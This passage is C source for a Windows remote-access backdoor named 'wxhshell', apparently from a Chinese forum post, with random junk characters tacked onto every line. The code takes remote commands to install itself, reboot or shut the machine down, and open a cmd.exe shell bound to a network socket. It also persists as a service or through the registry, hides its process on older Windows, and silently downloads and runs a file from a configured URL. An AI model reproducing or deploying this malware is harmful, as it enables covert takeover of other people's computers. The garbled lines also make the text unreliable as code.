  case '?': { {>>ozB.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p"ht|x  
    break; FCQIfJ#  
  } 8^j u=  
  // 安装 !$hrK6o  
  case 'i': { ~$w-I\Q!  
    if(Install()) R(@7$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %,%s09tO  
    else C$ cX{hV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5{qFKo"g@,  
    break; w'ZL'/d  
    } EL80f>K  
  // 卸载 +g ovnx  
  case 'r': { lwPK^)|}  
    if(Uninstall()) I"*g-ji0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /HH5Mn*  
    else (qHI>3tpY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T#?KY  
    break; 2-nL2f!a{p  
    } cX"[#Em#  
  // 显示 wxhshell 所在路径 (i>VJr  
  case 'p': { Zeyhr\T  
    char svExeFile[MAX_PATH]; {c|nIwdB  
    strcpy(svExeFile,"\n\r"); 5~4I.+~8  
      strcat(svExeFile,ExeFile); dsqqq,>Q  
        send(wsh,svExeFile,strlen(svExeFile),0); f33'2PYl  
    break; $6atr-Pb  
    } Y[Us"K`  
  // 重启 Wfkm'BnV  
  case 'b': { [qlq&?"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mIq6\c$  
    if(Boot(REBOOT)) vV.'&."g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pu nc'~  
    else { \tLJ( <8  
    closesocket(wsh); @5Q}o3.zA-  
    ExitThread(0); i%>]$*  
    } .z7X Ymv  
    break; wIuwq>  
    } XLp tJ4~v  
  // 关机  f]q3E[?/  
  case 'd': { *ghkw9/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s@ m A\  
    if(Boot(SHUTDOWN)) ^*'|(Cv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j#y_#  
    else { z^I"{eT8  
    closesocket(wsh); ~|@aV:k  
    ExitThread(0); gt6*x=RCrQ  
    } |ap{+ xh  
    break; uF9p:FvN8  
    } ]oP2T:A  
  // 获取shell fDp_W1yH  
  case 's': { dz &| 3o  
    CmdShell(wsh); VkhZt7]K}B  
    closesocket(wsh); u*{hXR-"  
    ExitThread(0); <M=U @  
    break; cH'*J/  
  } F%bv vw*(  
  // 退出 A{\7HV5  
  case 'x': { |f'U_nE#R/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); enlk)_btp  
    CloseIt(wsh); d /&aC#'B  
    break; u-Ct-0  
    } z,}1K!  
  // 离开 %m!o#y(hD`  
  case 'q': { )<9g+^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hE-`N,i }  
    closesocket(wsh); m,aJ(8G  
    WSACleanup(); iyU@|^B"Wa  
    exit(1); |uV1S^ !A  
    break;  a)PBC{I  
        } )-|A|1Uo  
  } FyJI@PZdI-  
  } M kko1T=6  
!(F+~,  
  // 提示信息 ww nc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lZV]Z3=p'0  
} e<YC=67n)  
  } +|r;t  
fo&q/;l\  
  return; !0c7nzjm  
} >BMJA:j  
&5Ea6j  
// shell模块句柄 6(B0gBCId  
int CmdShell(SOCKET sock) 9c9-1iS  
{ vLD Ma>  
STARTUPINFO si; 2V/ A%  
ZeroMemory(&si,sizeof(si)); @5\OM#WT~&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >k*QkIyq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u!oHP  
PROCESS_INFORMATION ProcessInfo; a+)Yk8%KY  
char cmdline[]="cmd"; f'TjR#w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sn2SDHY  
  return 0; U# Y ?'3:  
} ?*K;+@EH  
f'\I52;FB  
// 自身启动模式 {}N*e"<O  
int StartFromService(void) wJ1qJ!s@  
{ lg&"=VXx51  
typedef struct oiJa1X  
{ 5*[zIKdt2  
  DWORD ExitStatus; b:\I*WJ  
  DWORD PebBaseAddress; LpaY M d;  
  DWORD AffinityMask; a36n}R4Q  
  DWORD BasePriority; k^z)Vu|f.  
  ULONG UniqueProcessId; 6.~HbN  
  ULONG InheritedFromUniqueProcessId; !sEI|47{  
}   PROCESS_BASIC_INFORMATION; fW!~*Q  
. Uv7{(  
PROCNTQSIP NtQueryInformationProcess; ss T o?WL|  
EyI 9$@4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P9:7_Vc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !w]!\H  
y1c Aw   
  HANDLE             hProcess; 6=Kl[U0Y  
  PROCESS_BASIC_INFORMATION pbi; RZjTUMAz4  
D(Zux8l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _D1bR7  
  if(NULL == hInst ) return 0; ,[,+ _A  
yx3M0Qo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g~h`wv'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '`T.K<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v+znKpE  
^TVy :5Ag  
  if (!NtQueryInformationProcess) return 0; y mY,*Rb  
hZY+dHa]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kWjCSC>jA  
  if(!hProcess) return 0; J [2;&-@  
!-2nIY!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ooc,R(  
Zla5$GM  
  CloseHandle(hProcess); Ag }hyIl  
?qAX *j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]n${j/x  
if(hProcess==NULL) return 0; GuQ3$B3j  
cInzwdh7  
HMODULE hMod; BqvOi~ l  
char procName[255]; )_ NQ*m  
unsigned long cbNeeded; FfI $3:9  
m=z-}T5y!T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \! Os!s  
 DC]FY|ff  
  CloseHandle(hProcess); KqcelI?-I  
!\JG]2 \  
if(strstr(procName,"services")) return 1; // 以服务启动 OQ 5{#  
1{_tV^3@  
  return 0; // 注册表启动 ,aV89"}  
} .ZxSJ"Rk  
;.V 5:,&  
// 主模块 KNC!T@O|{#  
int StartWxhshell(LPSTR lpCmdLine) <po.:c Ce  
{ `XP]y=  
  SOCKET wsl; Os*,@N3t  
BOOL val=TRUE; DvF`KHsy  
  int port=0; W>wIcUP<<  
  struct sockaddr_in door; %LXk9K^]e  
t&mw@bj  
  if(wscfg.ws_autoins) Install(); j1v fp"J1  
k <A>J-|  
port=atoi(lpCmdLine); 7Nh6 `  
_I<eJ\  
if(port<=0) port=wscfg.ws_port; [ k^6#TQcn  
$bF.6  
  WSADATA data; Y{1IRP?S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JiDX|Q<c  
kFHqQs aG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /e|`mu%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1FjA   
  door.sin_family = AF_INET; ]r$S{<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nj %!N  
  door.sin_port = htons(port); -1Lh="US  
i:&Y{iPQp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZUQ1\Iw  
closesocket(wsl); ~ I]kY%  
return 1; H_ .@{8I  
} 9:!n'mn  
(5_l7hWY  
  if(listen(wsl,2) == INVALID_SOCKET) { uWG'AmK_#E  
closesocket(wsl); l|%7)2TyG)  
return 1; PD|I3qv~  
} Iu 2RK  
  Wxhshell(wsl); q_g'4VZv  
  WSACleanup(); ?WG9}R[qE/  
qe"5&cc1  
return 0; _Jj|g9b  
:V HJD  
} uB 6`e!Q  
<& 8cq@<  
// 以NT服务方式启动 2"'0OQN0\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TA`*]*O(  
{ GTYGm  
DWORD   status = 0; D(~6h,=m  
  DWORD   specificError = 0xfffffff; |LcN_ ,}6  
cwz %LKh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KB&t31aq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G( nT.\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LdU, 32  
  serviceStatus.dwWin32ExitCode     = 0; wQ2'%T|t  
  serviceStatus.dwServiceSpecificExitCode = 0; y 8];MTl  
  serviceStatus.dwCheckPoint       = 0; 'hVOK(o 0  
  serviceStatus.dwWaitHint       = 0; :?RooJ~#  
h K@1 s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ORv[Gkq_N)  
  if (hServiceStatusHandle==0) return; er+m:XuV  
XsQ<ye un  
status = GetLastError(); GJy><'J,!>  
  if (status!=NO_ERROR) }dAb} 0XK.  
{ Zul]ekv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EqUiC*u8{I  
    serviceStatus.dwCheckPoint       = 0; :QUZ7^u  
    serviceStatus.dwWaitHint       = 0; Dd!MG'%hlb  
    serviceStatus.dwWin32ExitCode     = status; H6/@loO!Xy  
    serviceStatus.dwServiceSpecificExitCode = specificError; hNyYk(t^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @xtcjB9  
    return; L G,XhN  
  } =Q.2:*d.  
gEO#-tMjOQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kR-N9|>i  
  serviceStatus.dwCheckPoint       = 0; )!|K3%9  
  serviceStatus.dwWaitHint       = 0; w/d9S(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X~P0Q  
} [k@D}p x  
Gw~^6(Qu  
// 处理NT服务事件,比如:启动、停止 J^ P/2a#a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cP$b>3O  
{ G&/}P$  
switch(fdwControl) fyYv}z  
{ . 2.$Rq  
case SERVICE_CONTROL_STOP: feIAgd},  
  serviceStatus.dwWin32ExitCode = 0; wx}\0(]Gl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =(Mv@eA"  
  serviceStatus.dwCheckPoint   = 0; ~)tMR9=wX  
  serviceStatus.dwWaitHint     = 0; I?4J69'  
  { V F6OC4 K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7T_g?!sdMh  
  } @s/;y VVq  
  return; x\3 ` W  
case SERVICE_CONTROL_PAUSE: 89`AF1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _<pG}fmR  
  break; |ng[s6uf  
case SERVICE_CONTROL_CONTINUE: 9C|T/+R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9 ?MOeOV8  
  break; u 6 la  
case SERVICE_CONTROL_INTERROGATE: >kz5azV0  
  break; e~'y%|D  
}; 2i |wQU5w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]v rpr%K  
} 3hO` GM  
6:-qL}  
// 标准应用程序主函数 @r+ErFI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P6i4Dr  
{ KbMgatI/  
X[j4V<4O  
// 获取操作系统版本 gBYL.^H^l  
OsIsNt=GetOsVer(); Hi,_qlc+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DcSL f4A  
]'~'V2Ey  
  // 从命令行安装 1^!= J<`K;  
  if(strpbrk(lpCmdLine,"iI")) Install(); |]+m<Dpyr2  
Arir=q^2  
  // 下载执行文件 0Hff/~J  
if(wscfg.ws_downexe) { {'"A hiR/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KOhy)h+ h  
  WinExec(wscfg.ws_filenam,SW_HIDE); fa\<![8LAU  
} 6\4oHRJC  
>^|\wy  
if(!OsIsNt) { /y@$|DI1  
// 如果时win9x,隐藏进程并且设置为注册表启动 B(Y{  
HideProc(); YwoytoXK  
StartWxhshell(lpCmdLine); [xO^\oQa=c  
} x"8(j8e  
else mC>7l7%  
  if(StartFromService()) 7Ar4:iNvX  
  // 以服务方式启动 *: e^yi  
  StartServiceCtrlDispatcher(DispatchTable); |oSyyDYWP  
else FLEf(  
  // 普通方式启动 :/~`"`#1  
  StartWxhshell(lpCmdLine); Haj`mc!<D0  
e<~uU9 lg1  
return 0; }`5%2iG  
}
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只看该作者 1 发表于: 2006-10-10
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